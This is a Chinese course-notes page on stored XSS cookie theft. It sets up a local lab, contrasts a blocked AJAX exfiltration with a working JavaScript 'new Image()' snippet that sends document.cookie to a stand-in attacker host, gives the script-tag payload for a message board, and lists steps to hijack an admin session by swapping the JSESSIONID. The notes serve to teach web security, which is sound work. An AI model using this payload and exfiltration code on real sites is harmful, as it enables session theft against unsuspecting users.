VuePress 站点
首页
数学
计算机基础
Java后端
AI大模型
UI设计
首页
数学
计算机基础
Java后端
AI大模型
UI设计
  • 计算机基础
  • 计算机网络应用

    • 课程笔记:TCP三次握手建立连接
    • 课程笔记:TCP三次握手的必要性
    • 课程笔记:TCP协议缺陷与SYN Flood攻击
    • 课程笔记:TCP四次挥手释放连接
    • 课程笔记:TCP四次挥手释放连接的必要性
    • 课程笔记:TCP 报文段格式与 IP 分组
    • 课程笔记:HTTP/2 新特性——二进制分帧
    • 课程笔记:HTTP/2 新特性——多路复用
    • 课程笔记:HTTP/2 新特性——服务器推送(Server Push)
    • 课程笔记:HTTPS 简介与架构图
    • 课程笔记:HTTPS原理与传输层安全协议(TLS)
    • 课程笔记:HTTPS原理——对称加密算法
    • 课程笔记:HTTPS原理——非对称加密算法
    • 课程笔记:HTTPS 原理 —— 数字签名
    • 课程笔记:HTTPS 原理——证书与 CA
    • 课程笔记:完整的HTTPS协议通信流程
    • 课程笔记:HTTPS 协议的性能损耗
    • 课程笔记:TLS False Start 加速 HTTPS
    • 课程笔记:升级 HTTP 协议到 HTTP/2
    • 课程笔记:通过会话恢复加速 HTTPS
    • 课程笔记:OWASP 组织与十大 Web 安全漏洞
    • 课程笔记:XSS 跨站脚本攻击
    • 课程笔记:存储型XSS跨站脚本攻击
    • 课程笔记:XSS攻击窃取Cookie
    • 课程笔记:反射型XSS跨站脚本攻击
    • 课程笔记:DOM型XSS跨站脚本攻击
    • 课程笔记:植入 JS、HTML 代码攻击
    • 课程笔记:XSS攻击的防护策略
    • 课程笔记:XSS攻击的输入环节防护
    • 课程笔记:XSS 劫持 Cookie 的防护策略
    • 课程笔记:XSS 内容输出防护方案
    • 课程笔记:CSP 内容安全策略
    • 课程笔记:CSP 内容安全策略的应用方式
    • 课程笔记:CSRF 跨站请求伪造攻击原理
    • 课程笔记:CSRF 跨站点请求伪造攻击案例
    • 课程笔记:CSRF 跨站请求伪造防护方案
    • 课程笔记:OWASP CSRFTester 工具的原理与使用
    • 课程笔记:点击劫持攻击原理
    • 课程笔记:点击劫持防护方案
    • 课程笔记:URL 跳转漏洞原理与防护
    • 课程笔记:Session 认证与会话劫持
    • 课程笔记:Session固定与Session保持攻击
    • 课程笔记:注入攻击与 OWASP 靶机平台
    • 课程笔记:SQL盲注与ORM注入攻击及防护
    • 课程笔记:XML注入、代码注入、OS命令注入攻击
    • 课程笔记:文件上传漏洞与文件下载/目录浏览漏洞
    • 课程笔记:访问控制与权限访问漏洞
    • 课程笔记:DDoS 分布式拒绝服务攻击原理与防护
    • 课程笔记:CC(Challenge Collapsar)攻击与防护
    • 课程笔记:CDN 的工作原理
    • 课程笔记:CDN的网络架构和术语说明
    • 课程笔记:CDN应用场景与阿里云CDN
    • 课程笔记:如何使用阿里云CDN服务
    • 课程笔记:CDN 刷新与预热
    • 课程笔记:阿里云 CDN 回源配置
    • 课程笔记:CDN 缓存配置
    • 课程笔记:CDN 访问控制与性能优化
  • 计算机网网络

    • 📖 教材介绍与课程导言
    • 📖 1.1 信息时代的计算机网络
    • 📖 1.2 因特网概述
    • 📖 1.3 电路交换、分组交换和报文交换
    • 📖 1.4 计算机网络的定义和分类
    • 📖 1.5 计算机网络的性能指标(1)
    • 📖 1.5 计算机网络的性能指标(2)
    • 📖 1.6.1 常见的三种计算机网络体系结构
    • 📖 1.6.2 计算机网络体系结构分层的必要性
    • 📖 1.6.3 计算机网络体系结构分层思想举例
    • 📖 计算机网络体系结构中的专用术语
    • 📖 物理层概述
    • 📖 物理层下面的传输媒体
    • 📖 传输方式
    • 📖 编码与调制
    • 📖 2.5 信道的极限容量
    • 📖 2.6 信道复用技术
    • 📖 3.1 数据链路层概述
    • 📖 3.2 数据链路层的三个重要问题
    • 📖 3.2.1 封装成帧和透明传输
    • 📖 3.2.2 差错检测
    • 📖 3.2.3 (1) 可靠传输的相关基本概念
    • 📖 3.2.3 (2) 可靠传输的实现机制 - 停止-等待协议(SW)
    • 📖 3.2.3 (3) 可靠传输的实现机制 - 回退N帧协议(GBN)
    • 📖 3.2.3 (4) 可靠传输的实现机制 - 选择重传协议(SR)
    • 📖 3.3 点对点协议 PPP
    • 📖 3.4 共享式以太网
    • 📖 3.4.1 网络适配器和 MAC 地址
    • 📖 3.4.2 (1) CSMA/CD 协议的基本原理
    • 📖 3.4.2 (2) 共享式以太网的争用期、最小帧长和最大帧长
    • 📖 3.4.2 (3) 共享式以太网的退避算法和信道利用率
    • 📖 3.4.3 使用集线器的共享式以太网
    • 📖 3.4.4 在物理层扩展以太网
    • 📖 3.4.5 (1) 网桥的主要结构和基本工作原理
    • 📖 3.4.5 (2) 透明网桥的自学习和转发帧的过程以及生成树协议STP
    • 📖 3.5 交换式以太网
    • 📖 3.5.1 以太网交换机
    • 📖 3.5.2 共享式以太网和交换式以太网的对比
    • 📖 3.6 以太网的MAC帧格式
    • 📖 3.7.1 虚拟局域网 VLAN 概述
    • 📖 3.7.2 虚拟局域网 VLAN 的实现机制
    • 📖 3.8 以太网的发展
    • 📖 3.9.1 802.11 无线局域网的组成
    • 📖 3.9.2 802.11 无线局域网的物理层
    • 📖 3.9.3 (1) 802.11 无线局域网的数据链路层 —— 使用 CSMA/CA 协议(而不使用 CSMA/CD 协议)
    • 📖 CSMA/CA(载波监听多址接入/碰撞避免)协议的基本工作原理
    • 📖 802.11 无线局域网的 MAC 帧格式
    • 📖 网络层概述
    • 📖 网际协议 IP(网际协议)与异构网络互连
    • 📖 IPv4 地址及其编址方法——概述
    • 📖 IPv4 地址的分类编址方法
    • 📖 IPv4 地址的划分子网编址方法
    • 📖 IPv4 地址的无分类编址方法(CIDR)
    • 📖 IPv4 地址的应用规划
    • 📖 IPv4 地址与 MAC 地址
    • 📖 地址解析协议 ARP
    • 📖 IP 数据报的发送和转发流程
    • 📖 IPv4 数据报的首部格式
    • 📖 静态路由配置
    • 📖 因特网的路由选择协议概述
    • 📖 路由信息协议 RIP(路由信息协议)
    • 📖 开放最短路径优先 OSPF(开放最短路径优先)
    • 📖 边界网关协议 BGP(边界网关协议)
    • 📖 路由器的基本工作原理
    • 📖 网际控制报文协议 ICMP(网际控制报文协议)
    • 📖 虚拟专用网 VPN 和网络地址转换 NAT
    • 📖 IP 多播技术的相关基本概念
    • 📖 在局域网上进行硬件多播
    • 📖 在因特网上进行 IP 多播需要的两种协议
    • 📖 网际组管理协议 IGMP
    • 📖 多播路由选择协议
    • 📖 移动 IP 技术概述
    • 📖 IPv6 引进的主要变化
    • 📖 IPv6 数据报的基本首部和扩展首部
    • 📖 IPv6 地址
    • 📖 从 IPv4 向 IPv6 过渡
    • 📖 网际控制报文协议 ICMPv6
    • 📖 软件定义网络 SDN
    • 📖 运输层概述 — 进程间基于网络的通信
    • 📖 TCP/IP 体系结构运输层中的两个重要协议
    • 📖 运输层端口号、复用与分用的概念
    • 📖 UDP 和 TCP 的对比
    • 📖 TCP 报文段的首部格式
    • 📖 "三报文握手"建立 TCP 连接
    • 📖 "四报文挥手"释放 TCP 连接
    • 📖 TCP 的流量控制 (Flow Control)
    • 📖 TCP 的拥塞控制 (Congestion Control) 及与网际层拥塞控制的关系
    • 📖 TCP 可靠传输的实现
    • 📖 TCP 超时重传时间 (RTO) 的选择
    • 📖 TCP 的选择确认 (SACK)
    • 📖 6.1 应用层概述
    • 📖 6.2 客户—服务器方式和对等方式
    • 📖 6.3 动态主机配置协议 DHCP
    • 📖 6.4 域名系统 DNS
    • 📖 6.5 文件传送协议 FTP
    • 📖 电子邮件
    • 📖 万维网 WWW
    • 📖 网络安全概述
    • 📖 密码学相关基本概念
    • 📖 对称密钥密码体制
    • 📖 公钥密码体制
    • 📖 报文摘要和报文鉴别码
    • 📖 数字签名(digital signature)
    • 📖 实体鉴别
    • 📖 密钥分发
    • 📖 访问控制
    • 📖 网络体系结构各层采取的安全措施—物理层和数据链路层
    • 📖 网络体系结构各层采取的安全措施—网络层
    • 📖 网络体系结构各层采取的安全措施—运输层
    • 📖 网络体系结构各层采取的安全措施—应用层
    • 📖 防火墙访问控制与入侵检测系统
    • 📖 常见的网络攻击及其防范
    • 📖 定长子网划分和变长子网划分的二叉树解法

课程笔记:XSS攻击窃取Cookie

课程名称:计算机网络应用 核心摘要:本讲聚焦 XSS 攻击的进阶应用——通过在留言系统中植入恶意 JS 脚本窃取用户 Cookie,并绕过浏览器同源策略将 Cookie 发送至黑客工具箱,最终利用窃取的 JSESSIONID 实现免登录获取管理员权限。重点对比 AJAX 直传失败与 Image 标签绕过同源策略两种方案。

一、 核心概念与原理

  • XSS 攻击(跨站脚本攻击):攻击者向 Web 页面植入恶意 JavaScript 脚本,当其他用户加载该页面时,脚本在用户浏览器中执行,从而窃取敏感信息。
  • Cookie:用户登录 Web 应用的身份凭证,保存于浏览器端,包含 JSESSIONID 等会话标识。
  • 同源策略(Same-Origin Policy):浏览器安全机制,限制一个源(协议+域名+端口)下的脚本向另一个源发送 AJAX 请求;域名不同即视为跨域。
  • 会话劫持(Session Hijacking):黑客拿到用户 Cookie(尤其 JSESSIONID)后,可绕过登录系统,直接以该用户身份访问应用,获取对应权限。
  • 跨域绕过原理:HTML 标签(如 <img>)加载外部资源不受同源策略限制,可借此将数据以请求参数形式发送至黑客服务器。

二、 技术细节与协议分析

2.1 攻击角色与域名映射

角色域名实际指向说明
教育系统(靶站)www.edu.com127.0.0.1留言系统,管理员查看留言
黑客工具箱www.hacker.com127.0.0.1接收并存储 Cookie 的接收平台

两个域名通过本地 hosts 文件均绑定至 127.0.0.1,指向同一项目的不同 Controller;真实场景中靶站与黑客服务器分属不同公网 IP。

2.2 攻击完整流程

┌─────────┐  ①植入恶意JS   ┌──────────┐  ②管理员查看留言  ┌──────────┐
│  黑客   │ ──────────────▶ │ 留言系统  │ ◀──────────────── │  管理员  │
└─────────┘                 └──────────┘                   └──────────┘
                                 │ ③触发恶意脚本执行             │
                                 ▼                              │
                            ┌──────────┐                        │
                            │ 浏览器端  │                        │
                            │ 获取Cookie│                        │
                            └─────┬────┘                        │
                                  │ ④发送Cookie                  │
                                  ▼                              │
                            ┌──────────┐                        │
                            │ 黑客工具箱│ ◀────────────────────────┘
                            │ 存储Cookie│
                            └─────┬────┘
                                  │ ⑤黑客取出Cookie
                                  ▼
                            ┌──────────┐
                            │ 替换浏览器 │ ⑥以管理员身份免登录访问
                            │ Cookie   │
                            └──────────┘

2.3 方案对比:AJAX 直传 vs Image 标签绕过

对比项方案一:AJAX(hacker.js)方案二:Image 标签(hacker2.js)
实现方式XMLHttpRequest 发送 GET 请求new Image() 设置 src 属性
同源策略被拦截(跨域请求失败)可绕过(图片加载不受限)
Network 状态请求标红,状态异常返回 200,请求成功
控制台报错Cross-Origin ... policy 跨域策略错误无报错
是否可用不可用可用

三、 实践应用与配置命令

3.1 失败方案:AJAX 直传 Cookie(hacker.js)

// hacker.js —— 因同源策略被浏览器拦截,无法成功发送
var xhr = new XMLHttpRequest();              // 创建 AJAX 对象(最原始方式,兼容未知前端框架)
xhr.open("GET", "http://www.hacker.com:端口/hackerController/save?url=" 
    + window.location + "&c=" + document.cookie);  // 目标URL拼接cookie参数
xhr.send();                                  // 发送请求 —— 跨域失败

失败原因:www.edu.com 页面中的 AJAX 指向 www.hacker.com,域名不同触发浏览器同源策略拦截。

3.2 成功方案:Image 标签绕过同源策略(hacker2.js)

// hacker2.js —— 利用 <img> 标签不受同源策略限制的特性
function steal() {
    var img = new Image();                   // 创建图片对象
    img.src = "http://www.hacker.com/hackerController/save"
        + "?url=" + window.location          // 参数1:当前页面URL
        + "&c=" + document.cookie;           // 参数2:窃取的Cookie
}
steal();                                     // 浏览器加载图片即发送请求

原理:浏览器加载图片资源时不受同源策略约束,构造 src 即可携带 Cookie 参数向黑客服务器发起 GET 请求。

3.3 植入留言系统的 Payload

<script src="http://www.hacker.com/script/hacker2.js"></script>
  • 通过留言框提交该脚本;若留言框有长度限制,可将 maxlength 改大(如 600)或使用在线短链接工具缩短 Payload。
  • 静态脚本路径写 script/hacker2.js 即可,static 前缀无需写出。

3.4 黑客工具箱接口设计

接口方法作用
hackerController/saveGET存:接收并保存窃取的 Cookie 信息
hackerController/getGET取:取出已保存的 Cookie 列表

3.5 利用 Cookie 实现免登录操作步骤

  1. 从黑客工具箱 get 接口取出窃取的 JSESSIONID 值;
  2. 打开 Firefox(或其他浏览器)访问 www.edu.com;
  3. 按 F12 打开开发者工具 → 存储/Application → Cookies;
  4. 将当前 JSESSIONID 替换为管理员的真实值 → 保存;
  5. 右键刷新页面,无需登录即以管理员身份访问系统。

关键点:Cookie 中的 JSESSIONID 即为会话凭证,替换后即盗用管理员身份。

四、 重点与难点提示

  • 重点:理解 XSS 攻击窃取 Cookie 的完整链路(植入→触发→窃取→回传→利用)。
  • 难点:同源策略的限制范围——AJAX 受限,而 <img>、<script> 等标签加载外部资源不受限,是绕过的关键。
  • 易错点:
    • AJAX 直传 Cookie 会被浏览器跨域策略拦截,并非脚本写错,而是安全机制所致。
    • 窃取的 JSESSIONID 必须是目标用户的,而非当前浏览器自己生成的。
    • 留言框长度限制可能导致 Payload 截断,需调整 maxlength 或使用短链接。
  • 面试题:
    1. XSS 攻击如何绕过浏览器同源策略窃取 Cookie?
    2. 为什么用 Image 对象可以绕过同源策略而 XMLHttpRequest 不行?
    3. 窃取 Cookie 后如何实现会话劫持?
    4. 如何防御 XSS 窃取 Cookie 攻击(提示:HttpOnly、Secure、SameSite 属性)?

五、 课后疑问/遗留问题

  • 如何从防御角度阻止 XSS 窃取 Cookie?HttpOnly 属性如何让 JS 无法读取 Cookie?
  • SameSite 属性的 Strict / Lax / None 三种取值对跨站请求的限制区别是什么?
  • 下一讲将讲解反射型 XSS 攻击,与本次存储型 XSS 有何异同?
最近更新: 2026/6/23 17:18
Contributors: yangwenguang
Prev
课程笔记:存储型XSS跨站脚本攻击
Next
课程笔记:反射型XSS跨站脚本攻击